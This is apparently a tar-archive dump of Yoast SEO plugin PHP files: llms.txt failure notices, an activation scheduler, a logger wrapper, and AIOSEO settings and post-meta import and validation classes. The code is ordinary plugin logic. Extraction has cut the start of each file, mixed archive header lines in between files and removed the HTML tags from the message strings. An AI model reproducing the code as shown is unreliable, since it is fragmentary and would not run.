\__( '%1$sYou have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file.%2$s%3$sIt looks like there is an llms.txt file already that wasn\'t created by Yoast, or the llms.txt file created by Yoast has been edited manually.%4$s%5$sWe don\'t want to overwrite this file\'s content, so if you want to let Yoast keep auto-generating the llms.txt file, you can manually delete the existing one. Otherwise, consider disabling the Yoast feature.%6$s', 'wordpress-seo' ),
'
',
'
',
'
',
'
',
'
',
'
',
);
break;
case 'filesystem_permissions':
$title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' );
$message = \sprintf(
/* translators: 1,3: expand to opening paragraph tag, 2,4: expand to opening paragraph tag. */
\__( '%1$sYou have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file.%2$s%3$sIt looks like there aren\'t sufficient permissions on the web server\'s filesystem.%4$s', 'wordpress-seo' ),
'
',
'
',
'
',
'
',
);
break;
default:
$title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' );
$message = \__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file, for unknown reasons.', 'wordpress-seo' );
break;
}
return $this->get_report_builder()
->set_label( $title )
->set_status_recommended()
->set_description( $message )
->build();
}
}
llms-txt/user-interface/schedule-population-on-activation-integration.php 0000644 00000002732 15207625712 0023046 0 ustar 00 scheduler = $scheduler;
$this->options_helper = $options_helper;
}
/**
* Registers the scheduling of the cron to the activation action.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_activate', [ $this, 'schedule_llms_txt_population' ] );
}
/**
* Schedules the cron if the option is turned on.
*
* @return void
*/
public function schedule_llms_txt_population() {
if ( $this->options_helper->get( 'enable_llms_txt', false ) === true ) {
$this->scheduler->schedule_quick_llms_txt_population();
}
}
}
llms-txt/user-interface/file-failure-llms-txt-notification-integration.php 0000644 00000006765 15207625713 0023136 0 ustar 00 options_helper = $options_helper;
$this->notification_center = $notification_center;
$this->presenter = $presenter;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'maybe_show_notification' ], 10, 2 );
}
/**
* Manage the search engines discouraged notification.
*
* Shows the notification if needed and deletes it if needed.
*
* @return void
*/
public function maybe_show_notification() {
if ( ! $this->should_show_file_failure_notification() ) {
$this->remove_file_failure_notification_if_exists();
}
else {
$this->maybe_add_file_failure_notification();
}
}
/**
* Whether the file failure notification should be shown.
*
* @return bool
*/
private function should_show_file_failure_notification(): bool {
return $this->options_helper->get( 'enable_llms_txt', false ) && \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, false ) !== false;
}
/**
* Remove the search engines discouraged notification if it exists.
*
* @return void
*/
private function remove_file_failure_notification_if_exists() {
$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
}
/**
* Add the search engines discouraged notification if it does not exist yet.
*
* @return void
*/
private function maybe_add_file_failure_notification() {
if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
$notification = new Yoast_Notification(
$this->presenter->present(),
[
'type' => Yoast_Notification::ERROR,
'id' => self::NOTIFICATION_ID,
'capabilities' => 'wpseo_manage_options',
'priority' => 1,
],
);
$this->notification_center->restore_notification( $notification );
$this->notification_center->add_notification( $notification );
}
}
}
loggers/logger.php 0000644 00000002057 15207625713 0010212 0 ustar 00 wrapped_logger = new NullLogger();
/**
* Gives the possibility to set override the logger interface.
*
* @param LoggerInterface $logger Instance of NullLogger.
*
* @return LoggerInterface The logger object.
*/
$this->wrapped_logger = \apply_filters( 'wpseo_logger', $this->wrapped_logger );
}
/**
* Logs with an arbitrary level.
*
* @param mixed $level The log level.
* @param string $message The log message.
* @param array $context The log context.
*
* @return void
*/
public function log( $level, $message, array $context = [] ) {
$this->wrapped_logger->log( $level, $message, $context );
}
}
actions/importing/importing-indexation-action-interface.php 0000644 00000001445 15207625715 0020324 0 ustar 00 import_cursor = $import_cursor;
$this->options = $options;
$this->sanitization = $sanitization;
$this->replacevar_handler = $replacevar_handler;
$this->robots_provider = $robots_provider;
$this->robots_transformer = $robots_transformer;
}
/**
* Sets the AIOSEO helper.
*
* @required
*
* @param Aioseo_Helper $aioseo_helper The AIOSEO helper.
*
* @return void
*/
public function set_aioseo_helper( Aioseo_Helper $aioseo_helper ) {
$this->aioseo_helper = $aioseo_helper;
}
/**
* The name of the plugin we import from.
*
* @return string The plugin we import from.
*
* @throws Exception If the PLUGIN constant is not set in the child class.
*/
public function get_plugin() {
$class = static::class;
$plugin = $class::PLUGIN;
if ( $plugin === null ) {
throw new Exception( 'Importing action without explicit plugin' );
}
return $plugin;
}
/**
* The data type we import from the plugin.
*
* @return string The data type we import from the plugin.
*
* @throws Exception If the TYPE constant is not set in the child class.
*/
public function get_type() {
$class = static::class;
$type = $class::TYPE;
if ( $type === null ) {
throw new Exception( 'Importing action without explicit type' );
}
return $type;
}
/**
* Can the current action import the data from plugin $plugin of type $type?
*
* @param string|null $plugin The plugin to import from.
* @param string|null $type The type of data to import.
*
* @return bool True if this action can handle the combination of Plugin and Type.
*
* @throws Exception If the TYPE constant is not set in the child class.
*/
public function is_compatible_with( $plugin = null, $type = null ) {
if ( empty( $plugin ) && empty( $type ) ) {
return true;
}
if ( $plugin === $this->get_plugin() && empty( $type ) ) {
return true;
}
if ( empty( $plugin ) && $type === $this->get_type() ) {
return true;
}
if ( $plugin === $this->get_plugin() && $type === $this->get_type() ) {
return true;
}
return false;
}
/**
* Gets the completed id (to be used as a key for the importing_completed option).
*
* @return string The completed id.
*/
public function get_completed_id() {
return $this->get_cursor_id();
}
/**
* Returns the stored state of completedness.
*
* @return int The stored state of completedness.
*/
public function get_completed() {
$completed_id = $this->get_completed_id();
$importers_completions = $this->options->get( 'importing_completed', [] );
return ( isset( $importers_completions[ $completed_id ] ) ) ? $importers_completions[ $completed_id ] : false;
}
/**
* Stores the current state of completedness.
*
* @param bool $completed Whether the importer is completed.
*
* @return void
*/
public function set_completed( $completed ) {
$completed_id = $this->get_completed_id();
$current_importers_completions = $this->options->get( 'importing_completed', [] );
$current_importers_completions[ $completed_id ] = $completed;
$this->options->set( 'importing_completed', $current_importers_completions );
}
/**
* Returns whether the importing action is enabled.
*
* @return bool True by default unless a child class overrides it.
*/
public function is_enabled() {
return true;
}
/**
* Gets the cursor id.
*
* @return string The cursor id.
*/
protected function get_cursor_id() {
return $this->get_plugin() . '_' . $this->get_type();
}
/**
* Minimally transforms data to be imported.
*
* @param string $meta_data The meta data to be imported.
*
* @return string The transformed meta data.
*/
public function simple_import( $meta_data ) {
// Transform the replace vars into Yoast replace vars.
$transformed_data = $this->replacevar_handler->transform( $meta_data );
return $this->sanitization->sanitize_text_field( \html_entity_decode( $transformed_data ) );
}
/**
* Transforms URL to be imported.
*
* @param string $meta_data The meta data to be imported.
*
* @return string The transformed URL.
*/
public function url_import( $meta_data ) {
// We put null as the allowed protocols here, to have the WP default allowed protocols, see https://developer.wordpress.org/reference/functions/wp_allowed_protocols.
return $this->sanitization->sanitize_url( $meta_data, null );
}
}
actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php 0000644 00000005610 15207625716 0023660 0 ustar 00 aioseo_options_to_yoast_map = [
'/author/title' => [
'yoast_name' => 'title-author-wpseo',
'transform_method' => 'simple_import',
],
'/author/metaDescription' => [
'yoast_name' => 'metadesc-author-wpseo',
'transform_method' => 'simple_import',
],
'/date/title' => [
'yoast_name' => 'title-archive-wpseo',
'transform_method' => 'simple_import',
],
'/date/metaDescription' => [
'yoast_name' => 'metadesc-archive-wpseo',
'transform_method' => 'simple_import',
],
'/search/title' => [
'yoast_name' => 'title-search-wpseo',
'transform_method' => 'simple_import',
],
'/author/advanced/robotsMeta/noindex' => [
'yoast_name' => 'noindex-author-wpseo',
'transform_method' => 'import_noindex',
'type' => 'archives',
'subtype' => 'author',
'option_name' => 'aioseo_options',
],
'/date/advanced/robotsMeta/noindex' => [
'yoast_name' => 'noindex-archive-wpseo',
'transform_method' => 'import_noindex',
'type' => 'archives',
'subtype' => 'date',
'option_name' => 'aioseo_options',
],
];
}
/**
* Returns a setting map of the robot setting for author archives.
*
* @return array The setting map of the robot setting for author archives.
*/
public function pluck_robot_setting_from_mapping() {
$this->build_mapping();
foreach ( $this->aioseo_options_to_yoast_map as $setting ) {
// Return the first archive setting map.
if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'author' ) {
return $setting;
}
}
return [];
}
}
actions/importing/aioseo/aioseo-posttype-defaults-settings-importing-action.php 0000644 00000005540 15207625716 0024313 0 ustar 00 true ], 'objects' );
foreach ( $post_type_objects as $pt ) {
// Use all the custom post types that are public.
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ] = [
'yoast_name' => 'title-' . $pt->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ] = [
'yoast_name' => 'metadesc-' . $pt->name,
'transform_method' => 'simple_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/showMetaBox' ] = [
'yoast_name' => 'display-metabox-pt-' . $pt->name,
'transform_method' => 'simple_boolean_import',
];
$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [
'yoast_name' => 'noindex-' . $pt->name,
'transform_method' => 'import_noindex',
'type' => 'postTypes',
'subtype' => $pt->name,
'option_name' => 'aioseo_options_dynamic',
];
if ( $pt->name === 'attachment' ) {
$this->aioseo_options_to_yoast_map['/attachment/redirectAttachmentUrls'] = [
'yoast_name' => 'disable-attachment',
'transform_method' => 'import_redirect_attachment',
];
}
}
}
/**
* Transforms the redirect_attachment setting.
*
* @param string $redirect_attachment The redirect_attachment setting.
*
* @return bool The transformed redirect_attachment setting.
*/
public function import_redirect_attachment( $redirect_attachment ) {
switch ( $redirect_attachment ) {
case 'disabled':
return false;
case 'attachment':
case 'attachment_parent':
default:
return true;
}
}
}
actions/importing/aioseo/aioseo-validate-data-action.php 0000644 00000021160 15207625717 0017450 0 ustar 00 wpdb = $wpdb;
$this->options = $options;
$this->post_importing_action = $post_importing_action;
$this->settings_importing_actions = [
$custom_archive_action,
$default_archive_action,
$general_settings_action,
$posttype_defaults_settings_action,
$taxonomy_settings_action,
];
}
/**
* Just checks if the action has been completed in the past.
*
* @return int 1 if it hasn't been completed in the past, 0 if it has.
*/
public function get_total_unindexed() {
return ( ! $this->get_completed() ) ? 1 : 0;
}
/**
* Just checks if the action has been completed in the past.
*
* @param int $limit The maximum number of unimported objects to be returned. Not used, exists to comply with the interface.
*
* @return int 1 if it hasn't been completed in the past, 0 if it has.
*/
public function get_limited_unindexed_count( $limit ) {
return ( ! $this->get_completed() ) ? 1 : 0;
}
/**
* Validates AIOSEO data.
*
* @return array An array of validated data or false if aioseo data did not pass validation.
*
* @throws Aioseo_Validation_Exception If the validation fails.
*/
public function index() {
if ( $this->get_completed() ) {
return [];
}
$validated_aioseo_table = $this->validate_aioseo_table();
$validated_aioseo_settings = $this->validate_aioseo_settings();
$validated_robot_settings = $this->validate_robot_settings();
if ( $validated_aioseo_table === false || $validated_aioseo_settings === false || $validated_robot_settings === false ) {
throw new Aioseo_Validation_Exception();
}
$this->set_completed( true );
return [
'validated_aioseo_table' => $validated_aioseo_table,
'validated_aioseo_settings' => $validated_aioseo_settings,
'validated_robot_settings' => $validated_robot_settings,
];
}
/**
* Validates the AIOSEO indexable table.
*
* @return bool Whether the AIOSEO table exists and has the structure we expect.
*/
public function validate_aioseo_table() {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return false;
}
$table = $this->aioseo_helper->get_table();
$needed_data = $this->post_importing_action->get_needed_data();
$aioseo_columns = $this->wpdb->get_col(
"SHOW COLUMNS FROM {$table}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
0,
);
return $needed_data === \array_intersect( $needed_data, $aioseo_columns );
}
/**
* Validates the AIOSEO settings from the options table.
*
* @return bool Whether the AIOSEO settings from the options table exist and have the structure we expect.
*/
public function validate_aioseo_settings() {
foreach ( $this->settings_importing_actions as $settings_import_action ) {
$aioseo_settings = \json_decode( \get_option( $settings_import_action->get_source_option_name(), '' ), true );
if ( ! $settings_import_action->isset_settings_tab( $aioseo_settings ) ) {
return false;
}
}
return true;
}
/**
* Validates the AIOSEO robots settings from the options table.
*
* @return bool Whether the AIOSEO robots settings from the options table exist and have the structure we expect.
*/
public function validate_robot_settings() {
if ( $this->validate_post_robot_settings() && $this->validate_default_robot_settings() ) {
return true;
}
return false;
}
/**
* Validates the post AIOSEO robots settings from the options table.
*
* @return bool Whether the post AIOSEO robots settings from the options table exist and have the structure we expect.
*/
public function validate_post_robot_settings() {
$post_robot_mapping = $this->post_importing_action->enhance_mapping();
// We're gonna validate against posttype robot settings only for posts, assuming the robot settings stay the same for other post types.
$post_robot_mapping['subtype'] = 'post';
// Let's get both the aioseo_options and the aioseo_options_dynamic options.
$aioseo_global_settings = $this->aioseo_helper->get_global_option();
$aioseo_posts_settings = \json_decode( \get_option( $post_robot_mapping['option_name'], '' ), true );
$needed_robots_data = $this->post_importing_action->get_needed_robot_data();
\array_push( $needed_robots_data, 'default', 'noindex' );
foreach ( $needed_robots_data as $robot_setting ) {
// Validate against global settings.
if ( ! isset( $aioseo_global_settings['searchAppearance']['advanced']['globalRobotsMeta'][ $robot_setting ] ) ) {
return false;
}
// Validate against posttype settings.
if ( ! isset( $aioseo_posts_settings['searchAppearance'][ $post_robot_mapping['type'] ][ $post_robot_mapping['subtype'] ]['advanced']['robotsMeta'][ $robot_setting ] ) ) {
return false;
}
}
return true;
}
/**
* Validates the default AIOSEO robots settings for search appearance settings from the options table.
*
* @return bool Whether the AIOSEO robots settings for search appearance settings from the options table exist and have the structure we expect.
*/
public function validate_default_robot_settings() {
foreach ( $this->settings_importing_actions as $settings_import_action ) {
$robot_setting_map = $settings_import_action->pluck_robot_setting_from_mapping();
// Some actions return empty robot settings, let's not validate against those.
if ( ! empty( $robot_setting_map ) ) {
$aioseo_settings = \json_decode( \get_option( $robot_setting_map['option_name'], '' ), true );
if ( ! isset( $aioseo_settings['searchAppearance'][ $robot_setting_map['type'] ][ $robot_setting_map['subtype'] ]['advanced']['robotsMeta']['default'] ) ) {
return false;
}
}
}
return true;
}
/**
* Used nowhere. Exists to comply with the interface.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of validations during each action pass.
*
* @param int $limit The maximum number of validations.
*/
$limit = \apply_filters( 'wpseo_aioseo_validation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
}
actions/importing/aioseo/aioseo-posts-importing-action.php 0000644 00000055144 15207625720 0020131 0 ustar 00 >>
*/
protected $aioseo_to_yoast_map = [
'title' => [
'yoast_name' => 'title',
'transform_method' => 'simple_import_post',
],
'description' => [
'yoast_name' => 'description',
'transform_method' => 'simple_import_post',
],
'og_title' => [
'yoast_name' => 'open_graph_title',
'transform_method' => 'simple_import_post',
],
'og_description' => [
'yoast_name' => 'open_graph_description',
'transform_method' => 'simple_import_post',
],
'twitter_title' => [
'yoast_name' => 'twitter_title',
'transform_method' => 'simple_import_post',
'twitter_import' => true,
],
'twitter_description' => [
'yoast_name' => 'twitter_description',
'transform_method' => 'simple_import_post',
'twitter_import' => true,
],
'canonical_url' => [
'yoast_name' => 'canonical',
'transform_method' => 'url_import_post',
],
'keyphrases' => [
'yoast_name' => 'primary_focus_keyword',
'transform_method' => 'keyphrase_import',
],
'og_image_url' => [
'yoast_name' => 'open_graph_image',
'social_image_import' => true,
'social_setting_prefix_aioseo' => 'og_',
'social_setting_prefix_yoast' => 'open_graph_',
'transform_method' => 'social_image_url_import',
],
'twitter_image_url' => [
'yoast_name' => 'twitter_image',
'social_image_import' => true,
'social_setting_prefix_aioseo' => 'twitter_',
'social_setting_prefix_yoast' => 'twitter_',
'transform_method' => 'social_image_url_import',
],
'robots_noindex' => [
'yoast_name' => 'is_robots_noindex',
'transform_method' => 'post_robots_noindex_import',
'robots_import' => true,
],
'robots_nofollow' => [
'yoast_name' => 'is_robots_nofollow',
'transform_method' => 'post_general_robots_import',
'robots_import' => true,
'robot_type' => 'nofollow',
],
'robots_noarchive' => [
'yoast_name' => 'is_robots_noarchive',
'transform_method' => 'post_general_robots_import',
'robots_import' => true,
'robot_type' => 'noarchive',
],
'robots_nosnippet' => [
'yoast_name' => 'is_robots_nosnippet',
'transform_method' => 'post_general_robots_import',
'robots_import' => true,
'robot_type' => 'nosnippet',
],
'robots_noimageindex' => [
'yoast_name' => 'is_robots_noimageindex',
'transform_method' => 'post_general_robots_import',
'robots_import' => true,
'robot_type' => 'noimageindex',
],
];
/**
* Represents the indexables repository.
*
* @var Indexable_Repository
*/
protected $indexable_repository;
/**
* The WordPress database instance.
*
* @var wpdb
*/
protected $wpdb;
/**
* The image helper.
*
* @var Image_Helper
*/
protected $image;
/**
* The indexable_to_postmeta helper.
*
* @var Indexable_To_Postmeta_Helper
*/
protected $indexable_to_postmeta;
/**
* The indexable helper.
*
* @var Indexable_Helper
*/
protected $indexable_helper;
/**
* The social images provider service.
*
* @var Aioseo_Social_Images_Provider_Service
*/
protected $social_images_provider;
/**
* Class constructor.
*
* @param Indexable_Repository $indexable_repository The indexables repository.
* @param wpdb $wpdb The WordPress database instance.
* @param Import_Cursor_Helper $import_cursor The import cursor helper.
* @param Indexable_Helper $indexable_helper The indexable helper.
* @param Indexable_To_Postmeta_Helper $indexable_to_postmeta The indexable_to_postmeta helper.
* @param Options_Helper $options The options helper.
* @param Image_Helper $image The image helper.
* @param Sanitization_Helper $sanitization The sanitization helper.
* @param Aioseo_Replacevar_Service $replacevar_handler The replacevar handler.
* @param Aioseo_Robots_Provider_Service $robots_provider The robots provider service.
* @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service.
* @param Aioseo_Social_Images_Provider_Service $social_images_provider The social images provider service.
*/
public function __construct(
Indexable_Repository $indexable_repository,
wpdb $wpdb,
Import_Cursor_Helper $import_cursor,
Indexable_Helper $indexable_helper,
Indexable_To_Postmeta_Helper $indexable_to_postmeta,
Options_Helper $options,
Image_Helper $image,
Sanitization_Helper $sanitization,
Aioseo_Replacevar_Service $replacevar_handler,
Aioseo_Robots_Provider_Service $robots_provider,
Aioseo_Robots_Transformer_Service $robots_transformer,
Aioseo_Social_Images_Provider_Service $social_images_provider
) {
parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );
$this->indexable_repository = $indexable_repository;
$this->wpdb = $wpdb;
$this->image = $image;
$this->indexable_helper = $indexable_helper;
$this->indexable_to_postmeta = $indexable_to_postmeta;
$this->social_images_provider = $social_images_provider;
}
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: They are already prepared.
/**
* Returns the total number of unimported objects.
*
* @return int The total number of unimported objects.
*/
public function get_total_unindexed() {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return 0;
}
$limit = false;
$just_detect = true;
$indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) );
$number_of_indexables_to_create = \count( $indexables_to_create );
$completed = $number_of_indexables_to_create === 0;
$this->set_completed( $completed );
return $number_of_indexables_to_create;
}
/**
* Returns the limited number of unimported objects.
*
* @param int $limit The maximum number of unimported objects to be returned.
*
* @return int|false The limited number of unindexed posts. False if the query fails.
*/
public function get_limited_unindexed_count( $limit ) {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return 0;
}
$just_detect = true;
$indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) );
$number_of_indexables_to_create = \count( $indexables_to_create );
$completed = $number_of_indexables_to_create === 0;
$this->set_completed( $completed );
return $number_of_indexables_to_create;
}
/**
* Imports AIOSEO meta data and creates the respective Yoast indexables and postmeta.
*
* @return Indexable[]|false An array of created indexables or false if aioseo data was not found.
*/
public function index() {
if ( ! $this->aioseo_helper->aioseo_exists() ) {
return false;
}
$limit = $this->get_limit();
$aioseo_indexables = $this->wpdb->get_results( $this->query( $limit ), \ARRAY_A );
$created_indexables = [];
$completed = \count( $aioseo_indexables ) === 0;
$this->set_completed( $completed );
// Let's build the list of fields to check their defaults, to identify whether we're gonna import AIOSEO data in the indexable or not.
$check_defaults_fields = [];
foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) {
// We don't want to check all the imported fields.
if ( ! \in_array( $yoast_mapping['yoast_name'], [ 'open_graph_image', 'twitter_image' ], true ) ) {
$check_defaults_fields[] = $yoast_mapping['yoast_name'];
}
}
$last_indexed_aioseo_id = 0;
foreach ( $aioseo_indexables as $aioseo_indexable ) {
$last_indexed_aioseo_id = $aioseo_indexable['id'];
$indexable = $this->indexable_repository->find_by_id_and_type( $aioseo_indexable['post_id'], 'post' );
// Let's ensure that the current post id represents something that we want to index (eg. *not* shop_order).
if ( ! \is_a( $indexable, 'Yoast\WP\SEO\Models\Indexable' ) ) {
continue;
}
if ( $this->indexable_helper->check_if_default_indexable( $indexable, $check_defaults_fields ) ) {
$indexable = $this->map( $indexable, $aioseo_indexable );
$this->indexable_helper->save_indexable( $indexable );
// To ensure that indexables can be rebuild after a reset, we have to store the data in the postmeta table too.
$this->indexable_to_postmeta->map_to_postmeta( $indexable );
}
$last_indexed_aioseo_id = $aioseo_indexable['id'];
$created_indexables[] = $indexable;
}
$cursor_id = $this->get_cursor_id();
$this->import_cursor->set_cursor( $cursor_id, $last_indexed_aioseo_id );
return $created_indexables;
}
// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared
/**
* Maps AIOSEO meta data to Yoast meta data.
*
* @param Indexable $indexable The Yoast indexable.
* @param array $aioseo_indexable The AIOSEO indexable.
*
* @return Indexable The created indexables.
*/
public function map( $indexable, $aioseo_indexable ) {
foreach ( $this->aioseo_to_yoast_map as $aioseo_key => $yoast_mapping ) {
// For robots import.
if ( isset( $yoast_mapping['robots_import'] ) && $yoast_mapping['robots_import'] ) {
$yoast_mapping['subtype'] = $indexable->object_sub_type;
$indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
continue;
}
// For social images, like open graph and twitter image.
if ( isset( $yoast_mapping['social_image_import'] ) && $yoast_mapping['social_image_import'] ) {
$image_url = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
// Update the indexable's social image only where there's actually a url to import, so as not to lose the social images that we came up with when we originally built the indexable.
if ( ! empty( $image_url ) ) {
$indexable->{$yoast_mapping['yoast_name']} = $image_url;
$image_source_key = $yoast_mapping['social_setting_prefix_yoast'] . 'image_source';
$indexable->$image_source_key = 'imported';
$image_id_key = $yoast_mapping['social_setting_prefix_yoast'] . 'image_id';
$indexable->$image_id_key = $this->image->get_attachment_by_url( $image_url );
if ( $yoast_mapping['yoast_name'] === 'open_graph_image' ) {
$indexable->open_graph_image_meta = null;
}
}
continue;
}
// For twitter import, take the respective open graph data if the appropriate setting is enabled.
if ( isset( $yoast_mapping['twitter_import'] ) && $yoast_mapping['twitter_import'] && $aioseo_indexable['twitter_use_og'] ) {
$aioseo_indexable['twitter_title'] = $aioseo_indexable['og_title'];
$aioseo_indexable['twitter_description'] = $aioseo_indexable['og_description'];
}
if ( ! empty( $aioseo_indexable[ $aioseo_key ] ) ) {
$indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
}
}
return $indexable;
}
/**
* Transforms the data to be imported.
*
* @param string $transform_method The method that is going to be used for transforming the data.
* @param array $aioseo_indexable The data of the AIOSEO indexable data that is being imported.
* @param string $aioseo_key The name of the specific set of data that is going to be transformed.
* @param array $yoast_mapping Extra details for the import of the specific data that is going to be transformed.
* @param Indexable $indexable The Yoast indexable that we are going to import the transformed data into.
*
* @return string|bool|null The transformed data to be imported.
*/
protected function transform_import_data( $transform_method, $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ) {
return \call_user_func( [ $this, $transform_method ], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
}
/**
* Returns the number of objects that will be imported in a single importing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_aioseo_post_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass.
*
* @param int $max_posts The maximum number of posts indexed.
*/
$limit = \apply_filters( 'wpseo_aioseo_post_indexation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
/**
* Populates the needed data array based on which columns we use from the AIOSEO indexable table.
*
* @return array The needed data array that contains all the needed columns.
*/
public function get_needed_data() {
$needed_data = \array_keys( $this->aioseo_to_yoast_map );
\array_push( $needed_data, 'id', 'post_id', 'robots_default', 'og_image_custom_url', 'og_image_type', 'twitter_image_custom_url', 'twitter_image_type', 'twitter_use_og' );
return $needed_data;
}
/**
* Populates the needed robot data array to be used in validating against its structure.
*
* @return array The needed data array that contains all the needed columns.
*/
public function get_needed_robot_data() {
$needed_robot_data = [];
foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) {
if ( isset( $yoast_mapping['robot_type'] ) ) {
$needed_robot_data[] = $yoast_mapping['robot_type'];
}
}
return $needed_robot_data;
}
/**
* Creates a query for gathering AiOSEO data from the database.
*
* @param int|false $limit The maximum number of unimported objects to be returned.
* False for "no limit".
* @param bool $just_detect Whether we want to just detect if there are unimported objects. If false, we want to actually import them too.
*
* @return string The query to use for importing or counting the number of items to import.
*/
public function query( $limit = false, $just_detect = false ) {
$table = $this->aioseo_helper->get_table();
$select_statement = 'id';
if ( ! $just_detect ) {
// If we want to import too, we need the actual needed data from AIOSEO indexables.
$needed_data = $this->get_needed_data();
$select_statement = \implode( ', ', $needed_data );
}
$cursor_id = $this->get_cursor_id();
$cursor = $this->import_cursor->get_cursor( $cursor_id );
/**
* Filter 'wpseo_aioseo_post_cursor' - Allow filtering the value of the aioseo post import cursor.
*
* @param int $import_cursor The value of the aioseo post import cursor.
*/
$cursor = \apply_filters( 'wpseo_aioseo_post_import_cursor', $cursor );
$replacements = [ $cursor ];
$limit_statement = '';
if ( ! empty( $limit ) ) {
$replacements[] = $limit;
$limit_statement = ' LIMIT %d';
}
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
return $this->wpdb->prepare(
"SELECT {$select_statement} FROM {$table} WHERE id > %d ORDER BY id{$limit_statement}",
$replacements,
);
// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
}
/**
* Minimally transforms data to be imported.
*
* @param array $aioseo_data All of the AIOSEO data to be imported.
* @param string $aioseo_key The AIOSEO key that contains the setting we're working with.
*
* @return string The transformed meta data.
*/
public function simple_import_post( $aioseo_data, $aioseo_key ) {
return $this->simple_import( $aioseo_data[ $aioseo_key ] );
}
/**
* Transforms URL to be imported.
*
* @param array $aioseo_data All of the AIOSEO data to be imported.
* @param string $aioseo_key The AIOSEO key that contains the setting we're working with.
*
* @return string The transformed URL.
*/
public function url_import_post( $aioseo_data, $aioseo_key ) {
return $this->url_import( $aioseo_data[ $aioseo_key ] );
}
/**
* Plucks the keyphrase to be imported from the AIOSEO array of keyphrase meta data.
*
* @param array $aioseo_data All of the AIOSEO data to be imported.
* @param string $aioseo_key The AIOSEO key that contains the setting we're working with, aka keyphrases.
*
* @return string|null The plucked keyphrase.
*/
public function keyphrase_import( $aioseo_data, $aioseo_key ) {
$meta_data = \json_decode( $aioseo_data[ $aioseo_key ], true );
if ( ! isset( $meta_data['focus']['keyphrase'] ) ) {
return null;
}
return $this->sanitization->sanitize_text_field( $meta_data['focus']['keyphrase'] );
}
/**
* Imports the post's noindex setting.
*
* @param bool $aioseo_robots_settings AIOSEO's set of robot settings for the post.
*
* @return bool|null The value of Yoast's noindex setting for the post.
*/
public function post_robots_noindex_import( $aioseo_robots_settings ) {
// If robot settings defer to default settings, we have null in the is_robots_noindex field.
if ( $aioseo_robots_settings['robots_default'] ) {
return null;
}
return $aioseo_robots_settings['robots_noindex'];
}
/**
* Imports the post's robots setting.
*
* @param bool $aioseo_robots_settings AIOSEO's set of robot settings for the post.
* @param string $aioseo_key The AIOSEO key that contains the robot setting we're working with.
* @param array $mapping The mapping of the setting we're working with.
*
* @return bool|null The value of Yoast's noindex setting for the post.
*/
public function post_general_robots_import( $aioseo_robots_settings, $aioseo_key, $mapping ) {
$mapping = $this->enhance_mapping( $mapping );
if ( $aioseo_robots_settings['robots_default'] ) {
// Let's first get the subtype's setting value and then transform it taking into consideration whether it defers to global defaults.
$subtype_setting = $this->robots_provider->get_subtype_robot_setting( $mapping );
return $this->robots_transformer->transform_robot_setting( $mapping['robot_type'], $subtype_setting, $mapping );
}
return $aioseo_robots_settings[ $aioseo_key ];
}
/**
* Enhances the mapping of the setting we're working with, with type and the option name, so that we can retrieve the settings for the object we're working with.
*
* @param array $mapping The mapping of the setting we're working with.
*
* @return array The enhanced mapping.
*/
public function enhance_mapping( $mapping = [] ) {
$mapping['type'] = 'postTypes';
$mapping['option_name'] = 'aioseo_options_dynamic';
return $mapping;
}
/**
* Imports the og and twitter image url.
*
* @param bool $aioseo_social_image_settings AIOSEO's set of social image settings for the post.
* @param string $aioseo_key The AIOSEO key that contains the robot setting we're working with.
* @param array $mapping The mapping of the setting we're working with.
* @param Indexable $indexable The Yoast indexable we're importing into.
*
* @return bool|null The url of the social image we're importing, null if there's none.
*/
